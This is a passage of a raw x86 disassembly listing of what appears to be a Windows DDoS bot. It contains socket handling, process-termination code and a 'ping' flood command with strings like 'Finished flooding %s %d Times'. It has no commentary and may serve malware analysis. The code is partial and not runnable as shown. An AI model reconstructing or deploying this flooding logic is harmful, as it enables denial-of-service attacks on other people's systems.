		mov	dword_4491C7[eax*4], ecx
		mov	dword_4491CB[eax*4], ecx
		mov	byte_448FBB[eax*4], cl
		mov	byte_4491D3[eax*4], cl
		retn
sub_425640	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4256B0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_425767
		cmp	ecx, 400h
		jge	loc_425767
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_4491CF[esi*4]
		push	eax
		call	near ptr 2760676h
		nop
		cmp	dword_4491CF[esi*4], ebx
		jz	short loc_4256F8
		mov	ebp, 1


loc_4256F8:				; CODE XREF: sub_4256B0+41j
		mov	dword_4491CF[esi*4], ebx
		mov	dword_4491BB[esi*4], ebx
		mov	dword_4491BF[esi*4], ebx
		mov	eax, dword_4491C3[esi*4]
		cmp	eax, ebx
		jbe	short loc_425721
		push	eax
		call	sub_401C6C
		add	esp, 4


loc_425721:				; CODE XREF: sub_4256B0+66j
		mov	edi, dword_50FC88
		mov	dword_4491C3[esi*4], ebx
		mov	byte_448FBB[esi*4], bl
		mov	byte_4491D3[esi*4], bl
		mov	ecx, dword_4491C7[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_4491C7[esi*4], ebx
		mov	edx, dword_4491CB[esi*4]
		lea	esi, ds:4491CBh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425767:				; CODE XREF: sub_4256B0+Cj
					; sub_4256B0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4256B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257A0	proc near		; CODE XREF: sub_401D93j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_4491BF


loc_4257B1:				; CODE XREF: sub_4257A0+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_4257E5
		test	ebx, ebx
		jle	short loc_4257D7
		cmp	[esi], ebx
		jz	short loc_4257C8
		cmp	edi, ebx
		jnz	short loc_4257E5


loc_4257C8:				; CODE XREF: sub_4257A0+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5
		jmp	short loc_4257E4
; ---------------------------------------------------------------------------


loc_4257D7:				; CODE XREF: sub_4257A0+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5


loc_4257E4:				; CODE XREF: sub_4257A0+35j
		inc	ebp


loc_4257E5:				; CODE XREF: sub_4257A0+1Aj
					; sub_4257A0+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D61BF
		jl	short loc_4257B1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4257A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425820	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 2770316h
		mov	esi, eax
		test	esi, esi
		jz	short loc_425855
		push	0
		push	esi
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	short loc_425855
		push	esi
		xor	edi, edi
		nop
		call	near ptr 28207FBh


loc_425855:				; CODE XREF: sub_425820+1Dj
					; sub_425820+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_425820	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425870	proc near		; CODE XREF: sub_401483j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_4491BB


loc_42587B:				; CODE XREF: sub_425870+1Cj
		cmp	[ecx], edx
		jnz	short loc_425880
		inc	eax


loc_425880:				; CODE XREF: sub_425870+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D61BB
		jl	short loc_42587B
		retn
sub_425870	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258A0	proc near		; CODE XREF: sub_401D8Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_4491BB


loc_4258AE:				; CODE XREF: sub_4258A0+1Fj
		cmp	[ecx], edx
		jz	short loc_4258C3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D61BB
		jl	short loc_4258AE
		mov	eax, esi


loc_4258C3:				; CODE XREF: sub_4258A0+10j
		pop	esi
		retn
sub_4258A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258E0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_448FBB


loc_4258E8:				; CODE XREF: sub_4258E0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_4258FE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D5FBB
		jl	short loc_4258E8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4258FE:				; CODE XREF: sub_4258E0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:448FBBh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	near ptr 77C47A90h
		nop
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_4258E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_425980	proc near		; CODE XREF: sub_401609j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_425980
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_425980	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425BD0:				; CODE XREF: ___:loc_401B6Dj
		push	0FFFFFFFFh
		push	offset loc_43B6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_425D68
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_425C3B
		mov	ecx, eax
		call	sub_401DD9
		mov	ebp, eax


loc_425C3B:				; CODE XREF: ___:00425C30j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FBE
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425D68:				; CODE XREF: ___:00425C11j
		lea	ecx, [ebx+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_425EDA
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_425DAB
		mov	ecx, eax
		call	sub_401BC7
		mov	ebp, eax
		jmp	short loc_425DAD
; ---------------------------------------------------------------------------


loc_425DAB:				; CODE XREF: ___:00425D9Ej
		xor	ebp, ebp


loc_425DAD:				; CODE XREF: ___:00425DA9j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425EDA:				; CODE XREF: ___:00425D7Dj
		lea	ecx, [ebx+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_426049
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_425F1A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_425F1C
; ---------------------------------------------------------------------------


loc_425F1A:				; CODE XREF: ___:00425F0Dj
		xor	ebp, ebp


loc_425F1C:				; CODE XREF: ___:00425F18j
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_426049:				; CODE XREF: ___:00425EECj
		lea	ecx, [ebx+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4261F4
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_426089
		mov	ecx, eax
		call	sub_401785
		mov	ebp, eax
		jmp	short loc_42608B
; ---------------------------------------------------------------------------


loc_426089:				; CODE XREF: ___:0042607Cj
		xor	ebp, ebp


loc_42608B:				; CODE XREF: ___:00426087j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_4261F4:				; CODE XREF: ___:0042605Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_426211
		mov	[ebx+11Ch], al


loc_426211:				; CODE XREF: ___:00426209j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4263D0	proc near		; CODE XREF: sub_401A64j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A34
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4263F1
		inc	ecx
		mov	[eax+118h], ecx


loc_4263F1:				; CODE XREF: sub_4263D0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
sub_4263D0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426450	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0DC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426450	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4264C0	proc near		; CODE XREF: sub_401F7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4264C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4264C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_4014C4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426560
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426620:				; CODE XREF: ___:loc_4016D1j
					; ___:0040217Bj
		push	esi
		mov	esi, ecx
		call	sub_4014C4
		test	byte ptr [esp+8], 1
		jz	short loc_426638
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426638:				; CODE XREF: ___:0042662Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426650	proc near		; CODE XREF: sub_4011FEj ___:00402081j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402090
		test	[esp+4+arg_0], 1
		jz	short loc_426668
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426668:				; CODE XREF: sub_426650+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426650	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426680	proc near		; CODE XREF: sub_402090j
		jmp	sub_4014C4
sub_426680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266A0	proc near		; CODE XREF: sub_401A41j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4266A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_40182F
		add	esp, 10h
		test	eax, eax
		jz	short loc_426764
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_42677E
; ---------------------------------------------------------------------------


loc_426764:				; CODE XREF: sub_4266A0+9Aj
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_42677E:				; CODE XREF: sub_4266A0+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
